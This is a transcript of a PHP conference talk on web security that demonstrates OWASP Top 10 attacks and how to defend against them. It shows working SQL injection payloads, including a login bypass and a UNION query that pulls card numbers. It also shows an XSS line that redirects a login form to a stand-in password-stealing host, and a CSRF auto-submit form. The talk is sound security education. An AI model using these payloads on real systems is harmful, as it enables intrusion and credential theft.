hacking your way to better security - dutch php conference 2016

109
Hacking Your Way To Better Security Colin O'Dell @colinodell

Upload: colin-odell

Post on 14-Apr-2017

248 views

Category:

Software


0 download

TRANSCRIPT

PowerPoint Presentation

Hacking Your WayTo Better SecurityColin O'Dell@colinodell

NO NAME YET

Colin ODell@colinodellLead Web Developer at Unleashed TechnologiesPHP developer since 2002league/commonmark maintainerPHP 7 Upgrade Guide e-book authorphp[world] 2015 CtF winner

14 years

For those who arent familiar, Capture the Flag is a security competition

Im not sharing this brag, but ratherShowing you dont have to be a professional security researcher or pentester to be knowledgeable about securityIn fact, I think its critically important that all developers... Especially in this day and age

Id like to share some of that security knowledge with you today2

GoalsExplore several top security vulnerabilities from the perspective of an attacker.Understand how to detect and exploit common vulnerabilitiesLearn how to protect against those vulnerabilities

Goals of this intermediate-level talk

DisclaimersNEVER test systems that arent yours without explicit permission.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.

Asking forgiveness is easier than asking for permissionNot if youre in jail----I might mention some real sites, but none are actually vulnerableJust make it easier to explain things since youre probably familiar with how theyre supposed to function

OUTRO: So for this talk, were going to talk through several of the OWASP Top 10 vulnerabilities

OWASP Top 10

[CONT] So for this talk, were going to talk through several of the OWASP Top 10 vulnerabilities

OWASP Top 10Regular publication by The Open Web Application Security Project

Highlights the 10 most-critical web application security risks

Non-profit organization

Provide free articles, resources, and tools for web security

[NEXT]

Example

Each risk is documented with a description, detailed examples, mitigation techniques, and references to other helpful resources

SQL InjectionModifying SQL statements to:Spoof identityTamper with dataDisclose hidden information

SQL Injection Basics$value = $_REQUEST['value'];SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";$sql = "SELECT * FROM x WHERE y = '$value' ";$database->query($sql);

UsernamePassword

Log Inadminpassword

UsernamePassword

Log InadminInvalid username or password. Please try again.password'

UsernamePassword

Log InadminUnknown error.

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = 'password'';

$$

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = 'password'';

$~~$

UsernamePassword

Log InadminUnknown error.' test

UsernamePassword

Log InadminUnknown error.

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = '' test';

$$

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = '' test';

$$~~~~~~~~

~~~~~~~~SELECT * FROM users WHERE username = 'admin' AND password = '' test';

SELECT * FROM users WHERE username = 'admin' AND password = '';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true);

SELECT * FROM users WHERE username = 'admin' AND (true);

SELECT * FROM users WHERE username = 'admin';

[Quickly]#1 - You may notice this looks a lot like this one here but with a little extra

What if we could insert something other than test here perhaps an OR condition that evaluates to TRUE?

If so, that would cancel out the password check

SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' test

SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' testSELECT * FROM users WHERE username = 'admin' AND password = '' test ';~~~~~~~~~~~~~~~

SELECT * FROM users WHERE username = 'admin' AND password = ' ';

SELECT * FROM users WHERE username = 'admin' AND password = ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' ';'SELECT * FROM users WHERE username = 'admin' AND password = '' ';~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';' 'SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';~~~~~~~~~~~~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';' OR 'SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';' OR '1'='1SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

UsernamePassword

Log InadminUnknown error.' OR '1'='1

Welcome Admin!

Admin Menu:Give customer moneyTake money awayReview credit card applicationsClose accounts

Blind SQL Injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not directly visible to the attacker.

Instead, you use SQL injections to basically ask yes/no questions and use the different site behaviors to obtain the answers.

Blind SQL InjectionInvalid username or password. Please try again.Unknown error.Valid query(empty result)Invalid queryWelcome Admin!Valid query(with result)

Syntax error - Single quote is missing its pair; query is structured differently than expectedTable or column doesnt exist

If we know site is vulnerable and see this (#2), SQL injection almost workedTable and column names are validAssertion failed

SQL injection worked (definitely)Database and column names are validAssertion succeeded or conditional bypassedSo lets abuse this to learn more about the database

UsernamePassword

Log Inadmin' AND (SELECT id FROM user LIMIT 1) = '

Lets try to figure out table and column namesProbably a user table

UsernamePassword

Log Inadmin' AND (SELECT id FROM user LIMIT 1) = 'Unknown error.

ErrorsQuerySELECT * FROM users WHERE username = 'admin' ANDpassword = '' AND (SELECT id FROM user LIMIT 1) = '';

Lets try to figure out table and column namesProbably a user table

UsernamePassword

Log Inadmin' AND (SELECT id FROM user LIMIT 1) = '

ErrorsQueryMySQL error: Unknown table 'user'.Unknown error.

Lets try to figure out table and column namesProbably a user table

UsernamePassword

Log Inadmin' AND (SELECT id FROM users LIMIT 1) = '

ErrorsQueryMySQL error: Unknown table 'user'.Unknown error.

Lets try to figure out table and column namesProbably a user table

UsernamePassword

Log Inadmin

Invalid username or password. Please try again.

Different error, so table definitely existsRepeat this process to learn more

SQL Injection:Data Disclosure

But previous method is all guessworkWhat if just show the data?

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/123SELECT * FROM books WHERE id = 123$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75}

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999SELECT * FROM books WHERE id = 99999$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{}

OUTRO: So thats the desired functionalityBut what if this site was vulnerable?What could we do?Well

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/?????SELECT * FROM books WHERE id = ?????$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}

Maybe we could somehow set the id to cause a SQL injection that ouputs other information we want.[CLICK TO ANIMATE]But how you ask?With the SQL UNION operator

SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75

Column 1Column 2Column 3FooBar123

Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75FooBar123

UNION

SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75

Column 1Column 2Column 3(SELECT)11

Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75(SELECT)11

UNION

SQL UNION QueryColumn 1Column 2Column 3(empty)

Column 1Column 2Column 3(SELECT)11

Column 1Column 2Column 3(SELECT)11

UNION

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number FROMcreditcardsSELECT * FROM books WHERE id = ?????$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = ?????$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1}

$val = $_REQUEST['value'];

$sql = "SELECT * FROM x WHERE y = '$val' ";

$database->query($sql);

Protecting Against SQL InjectionBlock input with special characters

Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);

$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM xWHERE y = '\' OR \'1\' = \'1'

CLICK TO ANIMATE EXPLANATION

[Double-escape]

Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);

$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM xWHERE y = '\' OR \'1\' = \'1'

OUTRO: Or better yet

Protecting Against SQL InjectionBlock input with special charactersEscape user inputUse prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db");

$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");

$q->bind_param(1, $_REQUEST['value']);

$q->execute();Native PHP:mysqlipdo_mysql

Frameworks / Libraries:DoctrineEloquentZend_Db

Other Types of InjectionNoSQL databasesOS CommandsLDAP QueriesSMTP Headers

NO EXAMPLE!

XSSCross-Site ScriptingInjecting code into the webpage (for other users)Execute malicious scriptsHijack sessionsInstall malwareDeface websites

XSS AttackBasics$value = $_POST['value'];$value = $rssFeed->first->title;$value = db_fetch('SELECT x FROM table');

Raw code/scriptis injected onto a page

[VISUAL EXAMPLE NEXT]

XSS Cross-Site Scripting Basics

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

document.getElementById('evilform').submit();

So when the server sends the code,The browser runs it as-isJust like all other HTML/JS that intentionally runs

XSS Cross-Site Scripting

short.lyPaste a URL hereShorten

XSS Cross-Site Scripting

short.lyhttp://www.colinodell.comShorten

XSS Cross-Site Scripting

short.lyhttp://www.colinodell.comShortenShort URL:http://short.ly/b7fe9

Original URL:http://www.colinodell.com

XSS Cross-Site Scripting

short.lyPlease wait while we redirect you tohttp://www.colinodell.com

XSS Cross-Site Scripting

short.lyalert('hello world!');Shorten

(EXPLAIN CODE)This JS should create an alert popup window(SUBMIT)

XSS Cross-Site Scripting

short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a

Original URL:hello world!OKX

XSS Cross-Site Scripting

short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a

Original URL:

Short URL: http://short.ly/3bs8a

Original URL: alert('hello world!');

XSS Cross-Site Scripting

short.ly

Shorten

AUDIO STARTS NEXT SLIDE

XSS Cross-Site Scripting

short.ly

ShortenShort URL:http://short.ly/3bs8a

Original URL:

XSS Cross-Site Scripting

short.lyPlease wait while we redirect you to

XSS Cross-Site Scriptingdocument.getElementById('login-form').action ='http://malicious-site.com/steal-passwords.php';

Ex 1: REDDIT

NO 2ND EXAMPLE!!!!!!!

Protecting Against XSS Attacks$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;

Protecting Against XSS AttacksFilter user input$value = strip_tags($_POST['value']);$value = strip_tags( db_fetch('SELECT value FROM table') );$value = strip_tags($rssFeed->first->title);

Some data lossPastebin, Gist, etc

Protecting Against XSS AttacksFilter user inputEscape user input$value = htmlspecialchars($_POST['value']);$value = htmlspecialchars( db_fetch('SELECT value FROM table') );$value = htmlspecialchars($rssFeed->first->title);

htmlspecialchars()

Safer, no data loss

Protecting Against XSS AttacksFilter user inputEscape user inputEscape output$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;

Protecting Against XSS AttacksFilter user inputEscape user inputEscape output{{ some_variable }}{{ some_variable|raw }}

Laravel blade also automatic, similar syntax

CSRFCross-Site Request ForgeryExecute unwanted actions on another site which user is logged in to.Change passwordTransfer fundsAnything the user can do

CSRF Cross-Site Request Forgery

Hi Facebook! I am colinodell and my password is *****.

Welcome Colin! Heres your news feed.

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

CSRF Cross-Site Request Forgery

Hi other website! Show me your homepage.

Sure, here you go!Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

document.getElementById('evilform').submit();

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

Tell Facebook we want to change our password to hacked123

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

Hi Facebook! Please change my password to hacked123.

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

Done!

OUTRO: Can also be done by using XSS

CSRF Cross-Site Request Forgery

short.ly

Shorten

[FAST]

CSRF Cross-Site Request Forgery

short.lyPlease wait while we redirect you toX

[CSRF TOKENS NEXT!!!]

Protecting Against CSRF AttacksOnly use POST requests?

[Cross site request forgery]

What if we

Would that be safe?

Protecting Against CSRF AttacksOnly use POST requests?NO!

POST requests are vulnerable too

Common Misconceptions:

tags can only make GET requests

If a user doesnt click a form it wont submit

NO! POST requests are vulnerable too.This is one of many common misconceptions some developers have.

For example

#1 yeah, but a form can make post requests#2 no, JS can submit the form

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?NO!

Cookies are sent on every request.

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?Use random CSRF tokensYES!

Generate a random string per user.Store it in their session.Add to form as hidden field.Compare submitted value to sessionSame token? Proceed.Different/missing? Reject the request.

Hidden value, only shown on our website, that only us and the current page knowOTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browsers same-origin policy)NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE!

(AFTER BULLETS)Remember, the attacker doesnt have access to their session or the HTML you generated dynamically for the particular user.

Protecting Against CSRF AttacksUse randomized CSRF tokens

Generate a random string per user.Store it in their session.Add to form as hidden field.Compare submitted value to sessionSame token? Proceed.Different/missing? Reject the request.

Hidden value, only shown on our website, that only us and the current page knowOTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browsers same-origin policy)NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE!

(AFTER BULLETS)Remember, the attacker doesnt have access to their session or the HTML you generated dynamically for the particular user.

InsecureDirect Object ReferencesAccess & manipulate objects you shouldnt have access to

Insecure Direct Object References

Lets imagine Facebook is vulnerable to [READ TITLE]Just change the 9 to an 8

Insecure Direct Object References

Beverly Cooper

Even though Facebook never linked us here, we still got hereAnd FB didnt check again at _this_ point in time

OUTRO: Fake example FB doesnt do this

Insecure Direct Object References

Facebook does check whether youre authorized to see the image

OUTRO: Not just limited to URLs

Insecure Direct Object References

Insecure Direct Object References

Insecure Direct Object References

If bank is vulnerable, and form is submitted,They wont check the ID and allow the transfer to go throughBad!

Protecting Against Insecure Direct Object ReferencesCheck permission on data inputURL / route parameters

Form field inputs

Basically anything thats an ID

If they dont have permission, show a 403 (or 404) page

#2 I like Symfony because it whitelists values in values in dropdowns ()

#3 Good guideline, but not all-encompassing rule

Protecting Against Insecure Direct Object ReferencesCheck permission on data inputCheck permission on data outputDo they have permission to access this object?

Do they have permission to even know this exists?

This is not security through obscurity

#3 That means hiding the objects / IDs as the only measure of securityWhat I mean is not disclosing information users shouldnt see, or showing actions they cant take

Sensitive Data Exposure

Security Misconfiguration

Components with Known Vulnerabilities

Actually three different vuln

Similar enough

http://www.example.com/CHANGELOGhttp://www.example.com/composer.lockhttp://www.example.com/.git/http://www.example.com/.envhttp://www.example.com/robots.txt

Sensitive Data Exposure

Is private data being exposed to the world?

Sensitive Data Exposure - CHANGELOG

Sensitive Data Exposure composer.lock

Sensitive Data Exposure composer.lock

Sensitive Data Exposure .git

Sensitive Data Exposure robots.txt

Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption)Customer informationCredit card numbersCredentialsSensitive Data Exposure

OUTRO: So thats sensitive data exposure. In a similar vein we have

Security Misconfiguration & Components with Known VulnerabilitiesDefault accounts enabled; weak passwordsadmin / admin

Security configurationDoes SSH grant root access?Are weak encryption keys used?

Out-of-date softwareOld versions with known issuesAre the versions exposed?Unused software running (FTP server)

NO DROWN!

Components with Known Vulnerabilities

Components with Known Vulnerabilities

Components with Known Vulnerabilities

You might be thinking OMG they explain the attack?Yes, but its a good thing!

Problem is: your version is exposed, hackers may know youre vulnerable

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateInstall critical updates immediately

Install other updates regularly

#1 If theres a patch available, theres also a hacker who can understand the original problem and create an exploit

#2 Otherwise software falls into decay and is extremely hard to upgrade when the next critical update rolls out

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootFiles which provide version numbersREADME, CHANGELOG, .git, composer.lock

Database credentials & API keys

Encryption keys

END: But really, you should hide them

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionEncrypt with a strong private key

Encrypt backups and data-in-transit

Use strong hashing techniques for passwords

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionTest your systemsScan your systems with automated tools

Test critical components yourselfAutomated testsManual tests

Good advice in general for all security topics weve covered

And that wraps up the last set of vulenerabilities were covering today

Next StepsTest your own applications for vulnerabilitiesLearn more about security & ethical hackingEnter security competitions (like CtF)Stay informed

PodcastsSlashdotSubreddits

Questions?

Thanks!Slides & feedback: https://joind.in/talk/10819 Colin O\\\\\'Dell@colinodell

null15046.456